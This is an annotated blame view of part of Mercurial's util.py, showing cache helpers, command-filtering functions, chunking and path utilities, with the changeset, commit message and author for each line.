fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
894 def lrucachefunc(func): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
895 '''cache most recent results of function calls''' |
431462bd8478
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Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
896 cache = {} |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
897 order = collections.deque() |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
898 if func.__code__.co_argcount == 1: |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
899 def f(arg): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
900 if arg not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
901 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
902 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
903 cache[arg] = func(arg) |
431462bd8478
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Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
904 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
905 order.remove(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
906 order.append(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
907 return cache[arg] |
431462bd8478
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Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
908 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
909 def f(*args): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
910 if args not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
911 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
912 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
913 cache[args] = func(*args) |
431462bd8478
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Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
914 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
915 order.remove(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
916 order.append(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
917 return cache[args] |
431462bd8478
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Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
918 |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
919 return f |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
920 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
921 class propertycache(object): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
922 def __init__(self, func): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
923 self.func = func |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
924 self.name = func.__name__ |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
925 def __get__(self, obj, type=None): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
926 result = self.func(obj) |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
927 self.cachevalue(obj, result) |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
928 return result |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
929 |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
930 def cachevalue(self, obj, value): |
19951
d51c4d85ec23
spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents:
19852
diff
changeset
|
931 # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
19845
a1237a4b437d
repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
19461
diff
changeset
|
932 obj.__dict__[self.name] = value |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
933 |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
934 def clearcachedproperty(obj, prop): |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
935 '''clear a cached property value, if one has been set''' |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
936 if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
937 del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
938 |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
939 def pipefilter(s, cmd): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
940 '''filter string S through command CMD, returning its output''' |
8302
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
941 p = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
942 stdin=subprocess.PIPE, stdout=subprocess.PIPE) |
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
943 pout, perr = p.communicate(s) |
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
944 return pout |
419
28511fc21073
[PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff
changeset
|
945 |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
946 def tempfilter(s, cmd): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
947 '''filter string S through a pair of temporary files with CMD. |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
948 CMD is used as a template to create the real command to be run, |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
949 with the strings INFILE and OUTFILE replaced by the real names of |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
950 the temporary files generated.''' |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
951 inname, outname = None, None |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
952 try: |
2165
d821918e3bee
Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
2153
diff
changeset
|
953 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') |
30925
82f1ef8b4477
py3: convert the mode argument of os.fdopen to unicodes (2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30876
diff
changeset
|
954 fp = os.fdopen(infd, pycompat.sysstr('wb')) |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
955 fp.write(s) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
956 fp.close() |
2165
d821918e3bee
Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
2153
diff
changeset
|
957 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
958 os.close(outfd) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
959 cmd = cmd.replace('INFILE', inname) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
960 cmd = cmd.replace('OUTFILE', outname) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
961 code = os.system(cmd) |
30642
e995f00a9e9a
py3: replace sys.platform with pycompat.sysplatform (part 2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30639
diff
changeset
|
962 if pycompat.sysplatform == 'OpenVMS' and code & 1: |
4720
72fb6f10fac1
OpenVMS patches
Jean-Francois PIERONNE <jf.pieronne@laposte.net>
parents:
4708
diff
changeset
|
963 code = 0 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
964 if code: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
965 raise Abort(_("command '%s' failed: %s") % |
14234
600e64004eb5
rename explain_exit to explainexit
Adrian Buehlmann <adrian@cadifra.com>
parents:
14230
diff
changeset
|
966 (cmd, explainexit(code))) |
27768
5ef99738a562
util: replace file I/O with readfile
Bryan O'Sullivan <bryano@fb.com>
parents:
27766
diff
changeset
|
967 return readfile(outname) |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
968 finally: |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
969 try: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
970 if inname: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
971 os.unlink(inname) |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
972 except OSError: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
973 pass |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
974 try: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
975 if outname: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
976 os.unlink(outname) |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
977 except OSError: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
978 pass |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
979 |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
980 filtertable = { |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
981 'tempfile:': tempfilter, |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
982 'pipe:': pipefilter, |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
983 } |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
984 |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
985 def filter(s, cmd): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
986 "filter a string through a command that transforms its input to its output" |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
987 for name, fn in filtertable.iteritems(): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
988 if cmd.startswith(name): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
989 return fn(s, cmd[len(name):].lstrip()) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
990 return pipefilter(s, cmd) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
991 |
1015
22571b8d35d3
Add automatic binary file detection to diff and export
mpm@selenic.com
parents:
917
diff
changeset
|
992 def binary(s): |
6507
9699864de219
Let util.binary check entire data for \0 (issue1066, issue1079)
Christian Ebert <blacktrash@gmx.net>
parents:
6501
diff
changeset
|
993 """return true if a string is binary data""" |
8118
35f7fda52c92
util: return boolean result directly in util.binary
Martin Geisler <mg@lazybytes.net>
parents:
8011
diff
changeset
|
994 return bool(s and '\0' in s) |
6762 | 995 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
996 def increasingchunks(source, min=1024, max=65536): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
997 '''return no less than min bytes per chunk while data remains, |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
998 doubling min after each chunk until it reaches max''' |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
999 def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1000 if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1001 return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1002 i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1003 while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1004 x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1005 i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1006 return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1007 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1008 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1009 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1010 for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1011 buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1012 blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1013 if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1014 if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1015 min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1016 nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1017 if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1018 min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1019 if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1020 min = max |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1021 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1022 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1023 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1024 if buf: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1025 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1026 |
7947
a454eeb1b827
move util.Abort to error.py
Matt Mackall <mpm@selenic.com>
parents:
7913
diff
changeset
|
1027 Abort = error.Abort |
508 | 1028 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1029 def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1030 return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1031 |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1032 def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1033 return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1034 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1035 def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1036 """disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1037 |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1038 Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1039 container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1040 allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1041 no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1042 into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1043 containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1044 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1045 This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1046 CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1047 """ |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1048 def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1049 gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1050 gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1051 try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1052 return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1053 finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1054 if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1055 gc.enable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1056 return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1057 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1058 if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1059 # PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1060 nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1061 |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1062 def pathto(root, n1, n2): |
886
509de8ab6f31
Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents:
884
diff
changeset
|
1063 '''return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1064 root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1065 n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1066 n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1067 returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1068 |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1069 If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1070 relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1071 n2 should always be relative to root. |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1072 ''' |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1073 if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1074 return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1075 if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1076 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1077 return os.path.join(root, localpath(n2)) |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1078 n2 = '/'.join((pconvert(root), n2)) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1079 a, b = splitpath(n1), n2.split('/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1080 a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1081 b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1082 while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1083 a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1084 b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1085 b.reverse() |
30613
